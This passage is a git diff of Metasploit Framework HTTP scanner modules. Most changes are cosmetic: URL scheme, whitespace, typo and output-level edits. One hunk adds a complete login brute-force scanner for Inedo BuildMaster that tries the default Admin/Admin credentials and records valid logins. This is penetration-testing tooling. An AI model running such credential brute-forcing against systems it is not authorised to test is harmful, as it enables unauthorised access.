   include Msf::Auxiliary::Report
@@ -135,5 +134,4 @@ class MetasploitModule < Msf::Auxiliary
 
     bruteforce(ip)
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb
index 3f8684c077..b540c3c83c 100644
--- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb
+++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb
index 5c7e4e044a..e963d71eba 100644
--- a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb
+++ b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb
index 6381f0f893..8045e36b8a 100644
--- a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb
+++ b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb
index fdd1f54e48..a6d05c61eb 100644
--- a/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb
+++ b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -32,12 +31,13 @@ class MetasploitModule < Msf::Auxiliary
         'lcamtuf' # CVE-2014-6278
       ],
       'References' => [
-        ['CVE', '2014-6271'],
-        ['CVE', '2014-6278'],
-        ['OSVDB', '112004'],
-        ['EDB', '34765'],
-        ['URL', 'https://access.redhat.com/articles/1200223'],
-        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
+        [ 'AKA', 'Shellshock' ],
+        [ 'CVE', '2014-6271' ],
+        [ 'CVE', '2014-6278' ],
+        [ 'OSVDB', '112004' ],
+        [ 'EDB', '34765' ],
+        [ 'URL', 'https://access.redhat.com/articles/1200223' ],
+        [ 'URL', 'http://seclists.org/oss-sec/2014/q3/649' ]
       ],
       'DisclosureDate' => 'Sep 24 2014',
       'License' => MSF_LICENSE
@@ -129,5 +129,4 @@ class MetasploitModule < Msf::Auxiliary
   def marker
     @marker ||= Rex::Text.rand_text_alphanumeric(rand(42) + 1)
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/apache_userdir_enum.rb b/modules/auxiliary/scanner/http/apache_userdir_enum.rb
index 58b8e54826..4c33436062 100644
--- a/modules/auxiliary/scanner/http/apache_userdir_enum.rb
+++ b/modules/auxiliary/scanner/http/apache_userdir_enum.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -95,5 +92,4 @@ class MetasploitModule < Msf::Auxiliary
     rescue ::Timeout::Error, ::Errno::EPIPE
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/appletv_login.rb b/modules/auxiliary/scanner/http/appletv_login.rb
index 0ae5bcf021..040b862614 100644
--- a/modules/auxiliary/scanner/http/appletv_login.rb
+++ b/modules/auxiliary/scanner/http/appletv_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/http'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb
index 4cf6ca9e38..2cdb872933 100644
--- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb
+++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -133,13 +132,12 @@ class MetasploitModule < Msf::Auxiliary
         end
         f = ::File.basename(datastore['RFILE'])
         path = store_loot('atlassian.crowd.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
-        print_status("#{rhost}:#{rport} Atlassian Crowd - #{datastore['RFILE']} saved in #{path}")
+        print_good("#{rhost}:#{rport} Atlassian Crowd - #{datastore['RFILE']} saved in #{path}")
         return
       end
     end
 
     print_error("#{rhost}#{rport} Failed to retrieve file from #{rhost}:#{rport}")
   end
-
 end
 
diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb
index ca2924d068..c7e16357a4 100644
--- a/modules/auxiliary/scanner/http/axis_local_file_include.rb
+++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/axis_login.rb b/modules/auxiliary/scanner/http/axis_login.rb
index c5a58044fb..23294ed789 100644
--- a/modules/auxiliary/scanner/http/axis_login.rb
+++ b/modules/auxiliary/scanner/http/axis_login.rb
@@ -1,14 +1,12 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'metasploit/framework/login_scanner/axis2'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/http/backup_file.rb b/modules/auxiliary/scanner/http/backup_file.rb
index 4ba5872a3f..5aab8d5101 100644
--- a/modules/auxiliary/scanner/http/backup_file.rb
+++ b/modules/auxiliary/scanner/http/backup_file.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanFile
   include Msf::Auxiliary::Scanner
@@ -61,7 +59,7 @@ class MetasploitModule < Msf::Auxiliary
           }, 20)
 
       if (res and res.code >= 200 and res.code < 300)
-        print_status("Found #{wmap_base_url}#{file}")
+        print_good("Found #{wmap_base_url}#{file}")
 
         report_web_vuln(
           :host	=> ip,
@@ -90,5 +88,4 @@ class MetasploitModule < Msf::Auxiliary
 
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb
index a470f99b79..6cdc9fa114 100644
--- a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb
+++ b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -14,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'           => 'Barracuda Multiple Product "locale" Directory Traversal',
       'Description'    => %q{
           This module exploits a directory traversal vulnerability present in
-        serveral Barracuda products, including the Barracuda Spam and Virus Firewall,
+        several Barracuda products, including the Barracuda Spam and Virus Firewall,
         Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,
         this module will attempt to download the Barracuda configuration file.
       },
@@ -86,5 +85,4 @@ class MetasploitModule < Msf::Auxiliary
   rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   rescue ::Timeout::Error, ::Errno::EPIPE
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/bavision_cam_login.rb b/modules/auxiliary/scanner/http/bavision_cam_login.rb
index 89c4aa0693..d05407d943 100644
--- a/modules/auxiliary/scanner/http/bavision_cam_login.rb
+++ b/modules/auxiliary/scanner/http/bavision_cam_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/bavision_cameras'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
@@ -132,5 +131,4 @@ class MetasploitModule < Msf::Auxiliary
 
     bruteforce(ip)
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb
index 2fc374e9c3..fcb2572a10 100644
--- a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb
+++ b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb
index 84bea102b8..3d3f346c96 100644
--- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb
+++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -14,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'           => 'Bitweaver overlay_type Directory Traversal',
       'Description'    => %q{
           This module exploits a directory traversal vulnerability found in Bitweaver.
-        When hanlding the 'overlay_type' parameter, view_overlay.php fails to do any
+        When handling the 'overlay_type' parameter, view_overlay.php fails to do any
         path checking/filtering, which can be abused to read any file outside the
         virtual directory.
       },
@@ -90,7 +89,6 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Request failed due to some unknown reason")
     end
   end
-
 end
 
 =begin
diff --git a/modules/auxiliary/scanner/http/blind_sql_query.rb b/modules/auxiliary/scanner/http/blind_sql_query.rb
index d83f40dbb8..05ee44c36e 100644
--- a/modules/auxiliary/scanner/http/blind_sql_query.rb
+++ b/modules/auxiliary/scanner/http/blind_sql_query.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,6 @@ require 'rex/proto/http'
 
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanUniqueQuery
   include Msf::Auxiliary::Scanner
@@ -470,5 +469,4 @@ class MetasploitModule < Msf::Auxiliary
 
     return false
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb b/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb
index f44a3405ea..465717cc5e 100644
--- a/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb
+++ b/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/brute_dirs.rb b/modules/auxiliary/scanner/http/brute_dirs.rb
index 4617dab796..4fb87d5070 100644
--- a/modules/auxiliary/scanner/http/brute_dirs.rb
+++ b/modules/auxiliary/scanner/http/brute_dirs.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'enumerable'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanDir
   include Msf::Auxiliary::Scanner
@@ -160,7 +159,7 @@ class MetasploitModule < Msf::Auxiliary
               if res.code.to_i == 400  and ecode != 400
                 print_error("Server returned an error code. #{wmap_base_url}#{teststr} #{res.code.to_i}")
               else
-                print_status("Found #{wmap_base_url}#{teststr} #{res.code.to_i}")
+                print_good("Found #{wmap_base_url}#{teststr} #{res.code.to_i}")
 
                 report_web_vuln(
                   :host	=> ip,
diff --git a/modules/auxiliary/scanner/http/buffalo_login.rb b/modules/auxiliary/scanner/http/buffalo_login.rb
index 897bdf4799..4811f5757d 100644
--- a/modules/auxiliary/scanner/http/buffalo_login.rb
+++ b/modules/auxiliary/scanner/http/buffalo_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -54,18 +54,18 @@ class MetasploitModule < Msf::Auxiliary
     scanner.scan! do |result|
       credential_data = result.to_h
       credential_data.merge!(
-          module_fullname: fullname,
-          workspace_id: myworkspace_id
+        module_fullname: fullname,
+        workspace_id: myworkspace_id
       )
       if result.success?
         credential_core = create_credential(credential_data)
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
-        print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
+        vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
       end
     end
   end
diff --git a/modules/auxiliary/scanner/http/buildmaster_login.rb b/modules/auxiliary/scanner/http/buildmaster_login.rb
new file mode 100644
index 0000000000..b29d37dc1a
--- /dev/null
+++ b/modules/auxiliary/scanner/http/buildmaster_login.rb
@@ -0,0 +1,96 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::AuthBrute
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'Inedo BuildMaster Login Scanner',
+      'Description' => %{
+          This module will attempt to authenticate to BuildMaster. There is a default user 'Admin'
+          which has the default password 'Admin'.
+      },
+      'Author'         => [ 'James Otten <jamesotten1[at]gmail.com>' ],
+      'License'        => MSF_LICENSE,
+      'DefaultOptions' => { 'VERBOSE' => true })
+    )
+
+    register_options(
+      [
+        Opt::RPORT(81),
+        OptString.new('USERNAME', [false, 'Username to authenticate as', 'Admin']),
+        OptString.new('PASSWORD', [false, 'Password to authenticate with', 'Admin'])
+      ]
+    )
+  end
+
+  def run_host(ip)
+    return unless buildmaster?
+
+    each_user_pass do |user, pass|
+      do_login(user, pass)
+    end
+  end
+
+  def buildmaster?
+    begin
+      res = send_request_cgi('uri' => '/log-in')
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+      print_error("#{peer} - HTTP Connection Failed")
+      return false
+    end
+
+    if res && res.code == 200 && res.body.include?('BuildMaster_Version')
+      version = res.body.scan(%r{<span id="BuildMaster_Version">(.*)</span>}).flatten.first
+      print_good("#{peer} - Identified BuildMaster #{version}")
+      return true
+    else
+      print_error("#{peer} - Application does not appear to be BuildMaster")
+      return false
+    end
+  end
+
+  def login_succeeded?(res)
+    if res && res.code == 200
+      body = JSON.parse(res.body)
+      return body.key?('succeeded') && body['succeeded']
+    end
+    false
+  rescue
+    false
+  end
+
+  def do_login(user, pass)
+    print_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
+    begin
+      res = send_request_cgi(
+        {
+          'uri' => '/0x44/BuildMaster.Web.WebApplication/Inedo.BuildMaster.Web.WebApplication.Pages.LogInPage/LogIn',
+          'method' => 'POST',
+          'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
+          'vars_post' =>
+            {
+              'userName' => user,
+              'password' => pass
+            }
+        }
+      )
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+      vprint_error("#{peer} - HTTP Connection Failed...")
+      return :abort
+    end
+
+    if login_succeeded?(res)
+      print_good("SUCCESSFUL LOGIN - #{peer} - #{user.inspect}:#{pass.inspect}")
+      store_valid_credential(user: user, private: pass)
+    else
+      print_error("FAILED LOGIN - #{peer} - #{user.inspect}:#{pass.inspect}")
+    end
+  end
+end
diff --git a/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb b/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb
index 7d9bcf67e5..3b823ff67a 100644
--- a/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb
+++ b/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/canon_wireless.rb b/modules/auxiliary/scanner/http/canon_wireless.rb
index 4bc7a611a8..cb86002a39 100644
--- a/modules/auxiliary/scanner/http/canon_wireless.rb
+++ b/modules/auxiliary/scanner/http/canon_wireless.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'nokogiri'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/cert.rb b/modules/auxiliary/scanner/http/cert.rb
index 79b67593d7..42e780e4b1 100644
--- a/modules/auxiliary/scanner/http/cert.rb
+++ b/modules/auxiliary/scanner/http/cert.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::WmapScanSSL
   include Msf::Auxiliary::Scanner
@@ -110,5 +109,4 @@ class MetasploitModule < Msf::Auxiliary
     return if(e.to_s =~ /execution expired/)
     print_error("Error: '#{ip}' '#{e.class}' '#{e}' '#{e.backtrace}'")
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/chef_webui_login.rb b/modules/auxiliary/scanner/http/chef_webui_login.rb
index ae636eed45..80e49e875b 100644
--- a/modules/auxiliary/scanner/http/chef_webui_login.rb
+++ b/modules/auxiliary/scanner/http/chef_webui_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/chef_webui'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
@@ -156,5 +155,4 @@ class MetasploitModule < Msf::Auxiliary
       )
     )
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/chromecast_webserver.rb b/modules/auxiliary/scanner/http/chromecast_webserver.rb
index 24055d0339..c62019c8c5 100644
--- a/modules/auxiliary/scanner/http/chromecast_webserver.rb
+++ b/modules/auxiliary/scanner/http/chromecast_webserver.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -57,5 +56,4 @@ class MetasploitModule < Msf::Auxiliary
       )
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/chromecast_wifi.rb b/modules/auxiliary/scanner/http/chromecast_wifi.rb
index e7a9fdd1d0..63bd531a60 100644
--- a/modules/auxiliary/scanner/http/chromecast_wifi.rb
+++ b/modules/auxiliary/scanner/http/chromecast_wifi.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
@@ -120,5 +119,4 @@ class MetasploitModule < Msf::Auxiliary
       ''
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb
index 13ebafcb7b..daf9b5905e 100644
--- a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb
+++ b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/cisco_device_manager.rb b/modules/auxiliary/scanner/http/cisco_device_manager.rb
index 1f3fb39772..350c1edf8b 100644
--- a/modules/auxiliary/scanner/http/cisco_device_manager.rb
+++ b/modules/auxiliary/scanner/http/cisco_device_manager.rb
@@ -1,11 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
@@ -89,5 +88,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/cisco_firepower_download.rb b/modules/auxiliary/scanner/http/cisco_firepower_download.rb
index a400dc3b07..3b4f0358ca 100644
--- a/modules/auxiliary/scanner/http/cisco_firepower_download.rb
+++ b/modules/auxiliary/scanner/http/cisco_firepower_download.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
@@ -162,5 +161,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Remote file not found: #{datastore['FILEPATH']}")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/cisco_firepower_login.rb b/modules/auxiliary/scanner/http/cisco_firepower_login.rb
index a5395b60a5..24f985997b 100644
--- a/modules/auxiliary/scanner/http/cisco_firepower_login.rb
+++ b/modules/auxiliary/scanner/http/cisco_firepower_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/cisco_firepower'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
@@ -138,5 +137,4 @@ class MetasploitModule < Msf::Auxiliary
 
     bruteforce(ip)
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb
index 5dd607be1b..59e07b41b2 100644
--- a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb
+++ b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb
@@ -1,11 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
@@ -88,5 +87,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb
index 61510880a2..42c7391dc7 100644
--- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb
+++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb
index 4ab06ff540..9e08b29cfd 100644
--- a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb
+++ b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb
index 9c05bbb3f4..860a19f137 100644
--- a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb
+++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb
index 7d5b143c10..e07dc2fb2c 100644
--- a/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb
